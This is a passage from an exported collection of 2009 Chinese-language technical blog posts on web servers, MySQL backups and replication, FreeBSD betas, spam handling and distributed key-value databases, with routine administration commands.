[L]</code></blockquote>\r\n不會很難，不過還是寫下來，以後應該會找到自己的文章...",
    "title": "mod_wsgi 與 .htaccess"
  },
  {
    "id": "2034",
    "body": "依照「<a href=\"http://blog.gslin.org/archives/2009/05/29/2032/\">mod_wsgi 與 .htaccess</a>」的設定設好後，在 <code>index.py</code> 內參考「<a href=\"http://code.google.com/p/modwsgi/wiki/IntegrationWithCherryPy\">Integration With CherryPy</a>」這篇文章的範例就會動了，可以用 ab 或是 httperf 測試看看效能如何。\r\n\r\n另外 Robert E Brewer 在 <a href=\"http://us.pycon.org/2009/about/\">PyCon 2009 - Chicago</a> 上講的「<a href=\"http://us.pycon.org/2009/conference/schedule/event/11/\">Introduction to CherryPy (#90)</a>」(包含影片) 也蠻適合剛碰 <a href=\"http://www.cherrypy.org/\">CherryPy</a> 的人看。",
    "title": "CherryPy 與 mod_wsgi (apache 2.2)"
  },
  {
    "id": "2035",
    "body": "用 <a href=\"http://akismet.com/\">Akismet</a> 一陣子了，其他的語言目前沒有遇到問題，但還蠻常漏 Russian spam 進來，找了一下發現有不少人有這個問題：「<a href=\"http://www.rimmkaufman.com/rkgblog/2008/11/08/russian-comment-spam/\">Block Russian Comment Spam In Wordpress</a>」。\r\n\r\n解法是把 .ru 設為黑名單 (我是設成 moderated)，再用人工看...",
    "title": "Akismet 心得"
  },
  {
    "id": "2036",
    "body": "在 <a href=\"http://twitter.com/\">Twitter</a> 上遇到 Spam Follower，可以用 direct message 通報給 <a href=\"http://twitter.com/spam\">spam</a> 這個帳號 (不過，你要先 follow 對方，而且對方反過來 follow 你)，但手動回報的機制還是太麻煩。\r\n\r\n於是有人就在 <a href=\"https://addons.mozilla.org/firefox/addon/748\">Greasemonkey</a> 上寫了回報機制：「<a href=\"http://userscripts.org/scripts/show/39929\">Twitter Spam Report for Greasemonkey</a>」，裝好後，在每個 Twitter 頁面下面都有 \"Report Spam\" 的連結...\r\n\r\n<strong>Update</strong>：需要改 code，把：\r\n<blockquote><code>var twitterspam_user = $(\"h2\").text().replace(/ /g,'');</code></blockquote>\r\n改成：\r\n<blockquote><code>var twitterspam_user = $(\"h2\").eq(0).text().replace(/ /g,'');</code></blockquote>",
    "title": "Twitter Spam Report"
  },
  {
    "id": "2038",
    "body": "在「<a href=\"http://blog.streamingmedia.com/the_business_of_online_vi/2009/06/video-cdn-pricing-drops-in-q1-but-not-by-much-other-contract-trends-noticed.html\">Video CDN Pricing Drops Slightly In Q1, Other Contract Trends Noticed</a>」這篇可以看到趨勢。\r\n\r\n我不曉得他怎麼拿到數字的，不過看數字總是一件有趣的事情... XD",
    "title": "CDN 的價錢"
  },
  {
    "id": "2039",
    "body": "在「<a href=\"http://blogoscoped.com/archive/2009-06-04-n57.html\">Google’s Page Speed Optimization Add-on</a>」看到的，<a href=\"http://www.google.com/\">Google</a> 推出一套分析程式，分析網頁可以改進的地方。也是 <a href=\"http://getfirebug.com/\">Firebug</a> 的 plugin... XD\r\n\r\n看起來就是被 <a href=\"http://developer.yahoo.com/yslow/\">YSlow</a> 搶風頭，不甘寂寞而做的...\r\n\r\n在 Firefox 3.5pre 上面跑發現 YSlow 與 Page Speed 會打架，不確定是什麼問題。",
    "title": "Google Page Speed"
  },
  {
    "id": "2040",
    "body": "<a href=\"http://www.flickr.com/photos/gslin/3619590182/\"><img src=\"http://farm4.static.flickr.com/3623/3619590182_4b86ffe41b.jpg\" alt=\"\" /></a>",
    "title": "晚餐"
  },
  {
    "id": "2041",
    "body": "Reverse Proxy 的部份，<a href=\"http://www.danga.com/perlbal/\">Perlbal</a> 可以用 <code>X-Reproxy-URL</code>。\r\n\r\n<a href=\"http://httpd.apache.org/\">Apache</a> 用 <a href=\"http://tn123.ath.cx/mod_xsendfile/\">mod_xsendfile</a> 實做 <code>X-Sendfile</code>。<a href=\"http://www.lighttpd.net/\">lighttpd</a> 用 <code>X-LIGHTTPD-send-file</code> (1.4 版) 或是 <code>X-Sendfile</code> (1.5)。<a href=\"http://nginx.net/\">nginx</a> 是 <code>X-Accel-Redirect</code>。\r\n\r\n都是避免用動態語言傳輸大檔的方式。\r\n\r\n不知道 <a href=\"http://www.f5.com/\">F5</a> 有沒有提供類似的功能，如果沒有的話就得自己放兩台...",
    "title": "幾個不同的 Web Server (或是 Reverse Proxy) 實做內部重導的方式"
  },
  {
    "id": "2042",
    "body": "啊啊啊～(大叫)\r\n\r\n我們家 <a href=\"http://www.pixnet.net/\">PIXNET</a> 要找人，包括：\r\n<ul>\r\n\t<li>Database <del>architech</del> <del>architecture</del> architect (是這樣拼嗎，一時間不知道單字要怎麼拼)，希望找有處理過大型網站經驗的人。</li>\r\n\t<li><a href=\"http://www.php.net/\">PHP</a> 與 <a href=\"http://www.python.org/\">Python</a> Programmer。(因為 PHP 的 CPU 效能利用率問題，Python 是之後的方向)</li>\r\n\t<li>C Programmer (on <a href=\"http://www.freebsd.org/\">FreeBSD</a>/<a href=\"http://www.linux.org/\">Linux</a>)，主要是有些目前在用的軟體需要用 C 改寫 (效能問題)，另外會試著開發新的軟體。熟 Berkeley DB 佳，沒有也沒關係，我可以告訴你很多已經走過的經驗。</li>\r\n\t<li>Windows Programming，需要開發使用者端的程式。</li>\r\n\t<li>Java Programming，有很多 Open Source 軟體是用 Java 開發，會想要在這些 Open Source 軟體上面發展程式。</li>\r\n</ul>\r\n可以透過 gslin at pixnet.tw 找我，告訴我您有興趣的部份，另外麻煩留下你的手機號碼與適合接電話的時間，我會在適當的時間打給你 :o",
    "title": "缺人找人"
  },
  {
    "id": "2044",
    "body": "<a href=\"http://jeremy.zawodny.com/blog/\">Jeremy Zawodny</a> 月初在 <a href=\"http://www.linux-mag.com/\">Linux Magazine</a> 上所寫的「<a href=\"http://www.linux-mag.com/id/7342\">The State of MySQL</a>」描述了最近 <a href=\"http://dev.mysql.com/\">MySQL</a> 的狀況。這篇文章與技術面的想法沒關係，討論了比較多 <a href=\"http://www.sun.com/\">Sun</a>、<a href=\"http://www.oracle.com/\">Oracle</a> 與其他 3rd-party 的努力。\r\n\r\n前陣子 Sun 與 MySQL 的整合其實讓 MySQL 很受傷，包括許多 MySQL developer 的離開 (創辦人 Monty 也走了)，使得 MySQL 的發展停滯了一段時間。另外，去年底推出的 MySQL 5.1.30 (第一個 5.1 GA) 被許多人批評品質不足以列為 GA。而實際在使用 MySQL 的單位也可以看到還是繼續用 MySQL 5.0，因為找不到升級到 MySQL 5.1 的理由。\r\n\r\n另外一方面，MySQL 仍然是 open source relational database 領域的主要選擇，在官方的支援不夠的情況下，很多公司提供了自己發展的 MySQL patch，像是 <a href=\"http://www.google.com/\">Google</a> 或是 <a href=\"http://www.percona.com/\">Percona</a>。而 MySQL 上最常被使用的 transaction engine，InnoDB 也推出新版，以 MySQL 5.1 plugin 形式釋出，這個版本包括了新的檔案格式、壓縮 (對於 I/O bound 環境幫助不小)，並針對朝多 CPU 發展的環境修正的許多 multi-threading 效能的問題。(主要是 lock 的改善)\r\n\r\nMonty 在離開 Sun 之後也成立了一家公司，發展由 MySQL 分支出來的 <a href=\"http://askmonty.org/wiki/index.php/MariaDB\">MariaDB</a>，希望成為一個 storage engine，取代現有的 MyISAM。\r\n\r\n其他的公司也都有各自的想法，透過 MySQL 的 plugin 架構發展自己的軟體，有許多是 open source (像是 <a href=\"http://www.primebase.org/\">PBXT</a>)，也有不少是 proprietary software，給了 MySQL 使用者許多不同的方向。",
    "title": "MySQL 的現況"
  },
  {
    "id": "2047",
    "body": "之前用的 GDI++ 是參考 <a href=\"http://jackbin.blogspot.com/\">Jackbin</a> 的「<a href=\"http://jackbin.blogspot.com/2008/10/gdi-2.html\">gdi++ FreeType 新細明體修改版：(1) 簡介與安裝</a>」所說明的方式而裝的版本，但這個週末藍色死亡螢幕的情況太誇張了 (桌上的電腦與 Notebook 都死了兩三次，還有跟人家 MSN 上打完招呼就 crash 的 =_=)，決定找 Helium 版本來改...\r\n\r\n網路上有幾篇文章有提到 Helium 版本，像是「<a href=\"http://blog.williamyangzy.org/2007/12/22/gdi-helium-%E7%89%88/\">GDI++ Helium 版</a>」，不過提到的版本都有點舊了，去找新版的裝好後另外找其他人的設定檔來換，看起來舒服多了。\r\n\r\n我把設定檔放在 <a href=\"http://www.wikidot.com/\">Wikidot</a> 上：<a href=\"http://wiki.gslin.org/gdi\">http://wiki.gslin.org/gdi</a>，新細明體要記得自己找個字型換掉 (參考 Jackbin 的文章)。",
    "title": "GDI++ Helium 版"
  },
  {
    "id": "2048",
    "body": "這幾天看到 <a href=\"http://www.google.com/\">Google</a> 在中國被罰，看了老半天還是不知道「不雅訊息」在哪裡，本來還猜測是其他的政治力介入造成的 (因為 <a href=\"http://www.cctv.com/\">CCTV</a> 造假，看起來有點像...)，剛剛看到 <a href=\"http://slashdot.org/\">Slashdot</a> 的「<a href=\"http://yro.slashdot.org/story/09/06/21/2023210\">Google Suggest Disabled In China Due To Porn</a>」突然笑了出來 XDDD\r\n\r\n因為太忠實呈現網路行為而被處罰 XDDD\r\n\r\nPS：這不代表沒有政治力量在後面處理，通常只是找個理由...",
    "title": "Google 在中國被罰是因為 Google Suggest 出現「不雅建議」？XDDD"
  },
  {
    "id": "2049",
    "body": "《<a href=\"http://zh.wikipedia.org/wiki/%E5%92%B2_-Saki-\">咲 -Saki-</a>》，常翻譯成《超能力百合麻將少女》，內容就不提了 (XDDD)，從第一次看到這個聲優表就不知道要怎麼吐槽...：\r\n<ul>\r\n\t<li>原村和 (<a href=\"http://zh.wikipedia.org/wiki/%E5%B0%8F%E6%B8%85%E6%B0%B4%E4%BA%9E%E7%BE%8E\">小清水亞美</a>) - 須賀京太郎 (<a href=\"http://zh.wikipedia.org/wiki/%E7%A6%8F%E5%B1%B1%E6%BD%A4\">福山潤</a>)</li>\r\n\t<li>片岡優希 (<a href=\"http://zh.wikipedia.org/wiki/%E9%87%98%E5%AE%AE%E7%90%86%E6%83%A0\">釘宮理惠</a>) - 染谷真子 (<a href=\"http://zh.wikipedia.org/wiki/%E7%99%BD%E7%9F%B3%E6%B6%BC%E5%AD%90\">白石涼子</a>) - 竹井久 (<a href=\"http://zh.wikipedia.org/wiki/%E4%BC%8A%E8%97%A4%E9%9D%9C\">伊藤靜</a>) - 宮永咲 (<a href=\"http://zh.wikipedia.org/wiki/%E6%A4%8D%E7%94%B0%E4%BD%B3%E5%A5%88\">植田佳奈</a>)</li>\r\n\t<li>龍門渕透華 (<a href=\"http://zh.wikipedia.org/wiki/茅原實里\">茅原實里</a>) - 荻義 (<a href=\"http://zh.wikipedia.org/wiki/%E5%B0%8F%E9%87%8E%E5%A4%A7%E8%BC%94\">小野大輔</a>)</li>\r\n\t<li>宮永咲 (植田佳奈) - 須賀京太郎 (福山潤) - 原村和 (小清水亞美) - 須賀京太郎 (福山潤) - 吉留未春 (神崎ちろ)</li>\r\n</ul>\r\n其實我比較想看特典 BD/DVD... 希望特典有三片滿滿的錄音現場與植田雀莊遊記 XDDD\r\n\r\nPS：第四條那個出處來自「<a href=\"http://ja.wikipedia.org/wiki/J-1%E3%82%B0%E3%83%A9%E3%83%B3%E3%83%97%E3%83%AA\">J-1グランプリ</a>」這篇。",
    "title": "咲 -Saki- 的聲優表"
  },
  {
    "id": "2053",
    "body": "兩個不小的軟體都出新版...\r\n\r\n<a href=\"http://www.mozilla.com/firefox\">Mozilla Firefox</a> 3.5 正式版昨天放出來了，JavaScript 的速度再次提昇，另外有不少新功能，以台灣的普及率，大約等兩年後看普及狀況再決定能不能用。\r\n\r\n另外一個是 <a href=\"http://www.php.net/\">PHP</a> 5.3 第一個的正式版 5.3.0 也是出了，可以在 <a href=\"http://php.net/ChangeLog-5.php\">PHP 5 ChangeLog</a> 看到比較詳細的說明。照之前國外測試的結果，除了使用過舊的 deprecated function 外，應該不會造成目前的程式不能動，不過還是要測過才會知道...\r\n\r\n比較新的功能是 <a href=\"http://php.net/manual/en/language.namespaces.php\">namespace</a>，雖然用 backslash (就是「\\」這個符號) 大家看了都很囧，不過畢竟是有 namespace 了，PHP library &amp; framework 總算可以用 namespace 解決命名的問題。",
    "title": "Firefox 3.5 與 PHP 5.3"
  },
  {
    "id": "2054",
    "body": "innobackupex 是 <a href=\"http://www.percona.com/\">Percona</a> 因為 <a href=\"https://launchpad.net/percona-xtrabackup\">XtraBackup</a> 需要，改自 <a href=\"http://www.innodb.com/\">InnoDB</a> 的 script，可以不停機備份 InnoDB 或 XtraDB。對於沒有一開始就設定 <a href=\"http://www.drbd.org/\">DRBD</a> 或是類似架構的人來說，這個方法算是蠻不錯的。(當然，如果允許停機的話更簡單)\r\n\r\n這個方法是以 InnoDB 為主體的 database 為主，MyISAM 也可以透過這個方式備份，不過這就不在我測試的範圍內了... (我測的兩個 cluster 只有系統資料庫是使用 MyISAM，其他都是 InnoDB)\r\n\r\n這邊寫的版本是使用 XtraBackup 0.7 版 (前幾天測試的，當時 0.8 版還沒有正式放出來，就先拿 0.7 版測試)，在 <a href=\"http://www.debian.org/\">Debian</a> 上先安裝 package：\r\n<blockquote><code># dpkg -i xtrabackup_0.7-1_amd64.deb</code></blockquote>\r\n裝完後就可以試著使用 <code>innobackupex</code> 備份，並要求 innobackupex 紀錄 slave 資訊：\r\n<blockquote><code># innobackupex-1.5.1 --slave-info [dest_path]</code></blockquote>\r\n在「<a href=\"http://www.mysqlperformanceblog.com/2009/05/07/btw-xtrabackup-is-not-only-backup/\">Btw xtrabackup is not only backup..</a>」有推薦用 <code>--stream=tar</code> 將備份資料輸出成 tar 格式，不過實際上會因為 ibdata1 被改變而使得 tar 認為無法備份而失敗，所以目前比較偏好的作法是直接輸出到某個目錄下 (就不會用到 tar)，目錄可以是 nfs 或是 local disk。\r\n\r\n另外，預設是透過 socket 連 <a href=\"http://dev.mysql.com/\">MySQL</a>，但也可以故意用 <code>--port=3306</code> 強制他走 TCP，或是用其他指令指定帳號及密碼，這些都可以直接執行 <code>innobackupex</code> 看到。\r\n\r\ninnobackupex 會試著使用 <code>mysql</code> 並下一些指令，但使用時並不會指定完整路徑，所以會依照 <code>PATH</code> 內所設定的路徑而執行。不過，因為上面的指令通常需要 root 權限，如果使用 <a href=\"http://www.sudo.ws/\">sudo</a> 有可能會將 <code>PATH</code> 重設而造成 <code>mysql</code> 無法執行而失敗 (像是 Percona 的版本是裝在 <code>/usr/local/mysql-blah-blah</code> 下，所以配合 sudo 時的用法會是：\r\n<blockquote><code># sudo env PATH=/usr/local/mysql/sbin:/usr/local/mysql/bin:[original_path] innobackupex-1.5.1 --slave-info [dest_path]</code></blockquote>\r\n這樣就解決了。\r\n\r\n備份完成後再用 <code>--apply-log</code> 把還在 log 的 entry 寫回 pool：\r\n<blockquote><code># sudo innobackupex-1.5.1 --apply-log [dest_path]</code></blockquote>\r\n這樣一來，一份可以當作 slave server 的資料就完成了。\r\n\r\n丟到其他機器後，用 chown 先把檔案權限改對：\r\n<blockquote><code># chown -R mysql:mysql [data_dir]</code></blockquote>\r\n然後跑起 mysql 後，看裡面的 slave 資訊設定 master：\r\n<blockquote><code>CHANGE MASTER TO master_host = 'master_host', master_user = 'master_user', master_password = 'master_password', master_log_file = 'blahblah.012345', master_log_pos = 123456;</code></blockquote>\r\n這樣就可以讓 slave 動起來了。(記得要自己 <code>START SLAVE;</code>)",
    "title": "innobackupex"
  },
  {
    "id": "2056",
    "body": "「<a href=\"http://googleblog.blogspot.com/2009/07/google-apps-is-out-of-beta-yes-really.html\">Google Apps is out of beta (yes, really)</a>」與「<a href=\"http://smb.openfind.com/emailcarrier.php\">Openfind-解決方案-中小企業郵件解決方案-輕鬆郵</a>」。\r\n\r\n中間有一些小插曲，像是 <a href=\"http://www.google.com/apps/intl/en/group/\">Google Apps (Standard)</a> 的連結不見，造成大家猜測是不是要趁著轉入正式版拿掉，最後又把連結放回去 (不過只有英文版的放回去，繁體中文版的還是拿掉了)：「<a href=\"http://googleenterprise.blogspot.com/2009/07/google-apps-standard-edition-still-free.html\">Google Apps Standard Edition: still free</a>」。\r\n\r\n另外一邊是 <a href=\"http://www.openfind.com.tw/\">Openfind</a> 推出「輕鬆郵」，提供 closed-source 版本的 server 軟體，有 100 accounts 限制，主要是給對於郵件系統放到 3rd-party 有疑慮的公司，但自己建制不敷成本的單位使用。網站上不能直接下載，需要填表...\r\n\r\n另外一個重點是 GPL violation，這套免費版的防毒軟體使用 <a href=\"http://www.clamav.net/\">ClamAV</a> (參考「常見問題」內的 Q4)，不過 Openfind 已經明確表示他不會提供 source code 了 (看介接方式才會知道感染多大塊)，這點就看誰拿到 binary 後去跟他們要...",
    "title": "Google Apps 畢業，Openfind 推出郵件解決方案"
  },
  {
    "id": "2057",
    "body": "在「<a href=\"http://www.mysqlperformanceblog.com/2009/07/07/improving-innodb-recovery-time/\">Improving InnoDB recovery time</a>」這篇看到的。\r\n\r\n這個 bug 在 2007 年時 Heikki Tuuri 開了 #29847：「<a href=\"http://bugs.mysql.com/bug.php?id=29847\">Large CPU usage of InnoDB crash recovery with a big buf pool</a>」，在 bug report 中間有提到 workaround，在 recovery 時把 O_DIRECT 關掉並且降低 innodb buffer pool size，把問題推到 Filesystem cache，速度比較快。\r\n\r\n但這表示在 crash 後必須手動介入，或是要寫 script 在啟動 <a href=\"http://dev.mysql.com/\">MySQL</a> 時判斷，並不是一個自動的解法。\r\n\r\n不過今年五月的時候有人丟出 patch 了，目前測過的人用起來都沒問題，順利的話下一個版本就會收進去，對於 MySQL HA (像是 failover 時需要跑 InnoDB recovery 的系統) 幫助很大...",
    "title": "InnoDB Fast Recovery Patch"
  },
  {
    "id": "2058",
    "body": "在 <a href=\"http://blog.digg.com/\">Digg 的 Blog</a> 上看到「<a href=\"http://blog.digg.com/?p=878\">Much Ado About IE6</a>」這篇文章，提到目前瀏覽器佔有率的事情 (尤其是 IE6)。\r\n\r\n<a href=\"http://digg.com/\">Digg</a> 的使用者者中，IE6 佔了 10% visitor 以及 5% PV，所以他們已經在規劃何時要放棄 IE6 support。\r\n\r\n我翻了六月 <a href=\"http://www.pixnet.net/\">PIXNET</a> 全站的情況 (用 <a href=\"http://www.google.com/analytics/\">Google Analytics</a>)，以 visitor 來看，IE 佔了 83.09%，IE6 佔了 IE 的 48.66%，所以大約佔全部的 40.43%。以 PV 來看，IE 佔了 83.91%，IE6 佔了 IE 的 46.98%，大約佔全部的 39.42%。\r\n\r\n這個數字離不支援還早得很...\r\n\r\n<strong>Update</strong>：六月 PIXNET 全站的瀏覽器分佈，overall &gt;1% 的部份。(by Visitor)\r\n\r\nInternet Explorer - 83.09% (6.0 - 48.66%，7.0 - 48.58%，8.0 - 2.74%)\r\n<a href=\"http://www.mozilla.com/firefox\">Firefox</a> - 13.47% (3.0.11 - 46.78%，3.0.10 - 38.50%)\r\n<a href=\"http://www.google.com/chrome/\">Chrome</a> - 1.63%\r\n<a href=\"http://www.apple.com/safari/\">Safari</a> - 1.27%",
    "title": "瀏覽器的佔有率"
  },
  {
    "id": "2060",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 8.0-BETA1 出了，也已經可以用 <code>freebsd-update</code> 更新。(不過就 <code>freebsd-update</code> maintainer 的說法，因為他不是 Release Engineer (re@)，對 8.0 並不比一般人更熟悉，想要利用 <code>freebsd-update</code> 升級到 BETA1 可能會有問題)\r\n\r\n在「<a href=\"http://ivoras.sharanet.org/freebsd/freebsd8.html\">What's cooking for FreeBSD 8?</a>」列出了 FreeBSD 8.0 會有的新功能或是改善。\r\n\r\n對一般使用者比較重要的有「Xen dom-U support」，表示終於有可能在 <a href=\"http://aws.amazon.com/ec2/\">Amazon EC2</a> 上跑 FreeBSD。\r\n\r\n另外一個是 amd64 平台的 Kernel memory limit 比之前大 (這個修正已經 merge 回 7-STABLE)，以及 <a href=\"http://zh.wikipedia.org/wiki/ZFS\">ZFS</a> 更新到 v13，這使得 ZFS 的效能以及可用性大幅提昇。\r\n\r\nNFS 的改寫也是重點，包括 NFS locking 與 NFSv4。FreeBSD 之前的 NFS client 在高負載時的效能與穩定性都不好，這次改寫後打算灌台機器來測試看看 8.0-BETA1 的效果如何。",
    "title": "FreeBSD 8.0-BETA1"
  },
  {
    "id": "2061",
    "body": "雖然在裝之前就已經知道，但還是得再提一次，<a href=\"http://www.freebsd.org/\">FreeBSD</a> 8.0-BETA1 不是給 production 用的 XD\r\n\r\n首先是安裝的部份，裝起來不太順，今天早上國內的伺服器速度不太快，而且偶而會遇到 error，之後還是跑去日本的 <a href=\"ftp://ftp.jp.freebsd.org/\">ftp.jp.freebsd.org</a> 抓才正常多了。\r\n\r\n列出我自己遇到的已知問題：\r\n<ul>\r\n\t<li>使用 <code>disklabel</code> 時會認為 c 應該從 0 開始 (ad4s1\"c\")，但新裝好的系統是從 32 開始，會無法修改...</li>\r\n</ul>\r\n另外一些小問題：(BETA 特有的，RC 與正式版的時候應該都會解掉)\r\n<ul>\r\n\t<li><a href=\"http://www.freebsd.org/ports/\">FreeBSD Ports</a> 的 <code>INDEX-8</code> 還沒建出來，目前無法使用 <code>pkg_version</code> 的 <code>-I</code>，以及其他需要使用這個檔案的程式。</li>\r\n\t<li>library 都還沒 bump，除了從 8.0-BETA1 到 8.0-RELEASE 會大爆走外，還要注意軟體會爛光。</li>\r\n\t<li>debug code 使得 performance 只有 7.2-RELEASE 的 2/3 左右。</li>\r\n</ul>\r\nInstaller 改了不少東西，裝的時候其實發現很不順手 (像是 boot loader 的地方，Standard 與 BootMgr 對調，結果一直選錯)。另外 doc 的部份是以 package 裝入系統，不屬於 base system，不小心誤裝後可以用 pkg_delete 移除。\r\n\r\n依照 schedule，應該是今明兩天就會出 8.0-BETA2 吧？再來看看情況。",
    "title": "FreeBSD 8.0-BETA1 初步使用感想"
  },
  {
    "id": "2065",
    "body": "這篇是因為在 <a href=\"http://www.pixnet.net/\">PIXNET</a> 內講了 n 次，決定寫成文字，至少之後新人進來可以說「就看這篇」，避免整套系統都需要重新講一次。\r\n\r\n對了，補充一下，PIXNET 還是有缺人，參考「<a href=\"http://blog.gslin.org/archives/2009/06/16/2042/\">缺人找人</a>」這篇的內容，如果有想問的細節，可以寫信問我。\r\n\r\n<h4>資料庫</h4>\r\n\r\n在 <a href=\"http://en.wikipedia.org/wiki/Relational_database_management_system\">RDBMS</a> 提供了很多而且很豐富的操作方式，但當資料量愈來愈大時，會遇到單台機器的網路頻寬有限以及空間有限。這時候一定得走向多台的架構。\r\n\r\n<h4>Replication</h4>\r\n\r\n最容易解決的情況是「讀取的 query 比寫入的 query 多」，可以用 database replication 解決，這也是 Web 1.0 網站常見的解法之一 (另外一種常見的解法是使用靜態檔案，或是 reverse proxy cache)，同步將資料複製到多台。\r\n\r\n<h4>Memcached</h4>\r\n\r\n接下來會發現當 slave 過多時會造成每台記憶體內重複 cache 相同的元素，也就是說，有二十台 slave，每台都有 <code>SELECT * FROM `user` WHERE `name` = 'gslin'</code> 的結果其實很浪費資源。不過這個問題可以用 <a href=\"http://www.danga.com/memcached/\">memcached</a> 或是 hash selection 解決。\r\n\r\n<h4>Sharding</h4>\r\n\r\n在 Web 2.0 的環境裡，User generated content 成為主流，當寫入的 query 超過單台可以負荷的量時，replication 的架構就不是很適合了，因為每個寫入的 query 在其他台 slave 上也會被執行。在商用資料庫的領域通常是使用 cluster 架構，在 open source 領域的 <a href=\"http://www.mysql.com/cluster/\">MySQL cluster</a> 也是 cluster-based solution，不過用的單位還不是很多，而且 overhead 還蠻重的。\r\n\r\n比較常見的解法是 sharding：依照 id，把資料拆散到各台。像是 <a href=\"http://www.flickr.com/\">Flickr</a> 就是這樣使用。\r\n\r\n但 sharding 就會少了很多 RDBMS 可以用的特性 (JOIN 與 transaction)，在寫 application server 或是 library 的時候得花功夫多下幾次 query，並且注意資料的正確性。\r\n\r\n上面這些方法在 2005 年 <a href=\"http://en.wikipedia.org/wiki/Brad_Fitzpatrick\">Brad Fitzpatrick</a> (<a href=\"http://www.livejournal.com/\">LiveJournal</a> founder、memcached 作者) 的投影片「<a href=\"http://www.slideshare.net/vishnu/livejournals-backend-a-history-of-scaling\">LiveJournal's Backend: A history of scaling</a>」都有提到。\r\n\r\nSharding 是一個解法，但有不少缺點：\r\n<ul>\r\n\t<li>需要 application server 或是 library，否則 3rd party 程式得清楚知道 sharding 的架構，才會知道資料要到哪個 cluster 找。</li>\r\n\t<li>無法隨意使用 JOIN 及 transaction。如果真的要 JOIN，設計時要想辦法把需要 JOIN 的資料放在同一台 database server。如果要跨機器 transaction 得透過 <a href=\"http://en.wikipedia.org/wiki/Two-phase_commit_protocol\">2PC</a> 甚至 <a href=\"http://en.wikipedia.org/wiki/Three-phase_commit_protocol\">3PC</a> (看需求)，或是類似的 distributed transaction protocol，效能會比起同一台機器差很多。</li>\r\n\t<li>設計 schema 時必須注意當一個 cluster 愈來愈大時要 rebalance，或是更進一步，在一開始設計時就考慮到資料搬移的問題。</li>\r\n</ul>\r\n\r\n<h4>Key-Value Database</h4>\r\n\r\n後來就有不少人注意到，Web 2.0 網站很多時候不需要 transaction，而 JOIN 也會儘量避免。透過多次 SELECT 拉資料，或是 denormalize 以提高效能的方式還蠻常見。(JOIN 保證 atomic，而且會因為 query analyzer enginer 在沒有正確分析的情況下會有大量的 random access，比多次 SELECT 耗資源)\r\n\r\n另外一個是財務層面上的問題，一開始寫的時候通常也都只有一組 database server，不太可能一次就買兩組 database server。當成長到需要 sharding 時通常寫 code 的人已經不只一個人，一定有人偷懶使用 JOIN 或是其他無法 sharding 的程式。這時候會發現需要「重寫」而非「改寫」。\r\n\r\n於是就有人開始思考，如果我放棄 RDBMS 的 JOIN 與 transaction，放棄到只剩下 key-value 的架構，是不是有辦法可以發展一套 distributed database system 可以取得 \"incremental scalibility\" 的特性 (白話的說就是「加機器就可以增加承載量」)，再想辦法看看在這個系統上還可以加什麼功能。\r\n\r\n也就是說，這樣的系統一開始可能只有兩台小台的機器 (為了 HA)，同時跑 Web 與 Database，當網站愈來愈大的時候我把這些小機器拉到前端跑 Web，或是轉為開發機使用，本來的 Database 買 15KRPM SAS (為了 cache miss 的 seek time 與 latency) 與 64GB RAM (還是為了 cache hit 降低 latency)。\r\n\r\n所以在 distributed key-value database 先有基本的功能：\r\n<ul>\r\n\t<li>GET(key)</li>\r\n\t<li>SET(key, value)</li>\r\n\t<li>DELETE(key)</li>\r\n</ul>\r\n有了這三個功能，至少你可以把本來在 RDBMS 裡很大一部份放到 Key-Value Database 裡。以 Blog 來說，可以把所有的標題及內文部份放到 Key-Value Database 內，大幅減少 RDBMS 的 cache 負擔。\r\n\r\n或者，key 是 path + filename，value 是檔案內容，當作一個 filesystem 在用。(也就是 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a>)\r\n\r\n這樣對於前端寫程式的人就會簡單許多。整個 Key-Value Database 是一朵可以無限擴充的雲，前端程式不需要設計或是修改程式碼就可以一直發展。如果當作 Filesystem 就不用擔心 disk 滿了之後加機器需要停機。\r\n\r\n在這個想法下，就有許多單位投入資源往 distributed key-value system 發展。經過這些年的發展，分散式資料庫主要有三個問題要解決，而且也被證明這三個問題無法同時解決 (被稱為 CAP theorem，參考 <a href=\"http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.20.1495\">Brewer's Conjecture and the Feasibility of Consistent Available Partition-Tolerant Web Services, 2002</a> 這篇原始論文，或是參考比較簡單易懂的說明「<a href=\"http://www.julianbrowne.com/article/viewer/brewers-cap-theorem\">Brewer's CAP Theorem</a>」)：\r\n<ul>\r\n\t<li>Consistent</li>\r\n\t<li>Availibility</li>\r\n\t<li>Partition Tolerance</li>\r\n</ul>\r\n所以分散式資料庫得在這三個條件內取捨。目前比較熱門的 Distributed Key-Value Database 主要都是把 Consistent 放寬到 \"<a href=\"http://en.wikipedia.org/wiki/Eventual_consistency\">Eventally Consistent</a>\"，只保證資料「遲早會一致」，這些 Database 包括了 <a href=\"http://hadoop.apache.org/hbase/\">HBase</a> (<a href=\"http://www.yahoo.com/\">Yahoo!</a>)、<a href=\"http://incubator.apache.org/cassandra/\">Cassandra</a> (<a href=\"http://www.facebook.com/\">Facebook</a>) 這兩套 Java-based 分散式資料庫。\r\n\r\n要瞭解這兩套系統的架構，一般建議從「<a href=\"http://www.allthingsdistributed.com/2007/10/amazons_dynamo.html\">Amazon's Dynamo</a>」這篇開始看，看完後再看這兩套系統的系統架構介紹，以及 mailing list 的討論。\r\n\r\n這兩套除了基本的 Key-Value 外，還多了 Column 的觀念，彈性會比 Key-Value 好一些。Yahoo! 與 Facebook 都拿這個系統當 Search Engine 使用。\r\n\r\n另外有一些比較單純的分散式系統，只有 Key-Value 而沒有 Column 的，在「<a href=\"http://www.eflorenzano.com/blog/post/my-thoughts-nosql/\">My Thoughts on NoSQL</a>」這篇文章裡對 <a href=\"http://couchdb.apache.org/\">CouchDB</a>、<a href=\"http://code.google.com/p/redis/\">Redis</a> 自稱 distributed 的嘴炮批評了不少。另外「<a href=\"http://www.metabrew.com/article/anti-rdbms-a-list-of-distributed-key-value-stores/\">Anti-RDBMS: A list of distributed key-value stores</a>」介紹了很多。\r\n\r\n大致上是這樣。",
    "title": "Distributed Key-Value Database"
  },
  {
    "id": "2069",
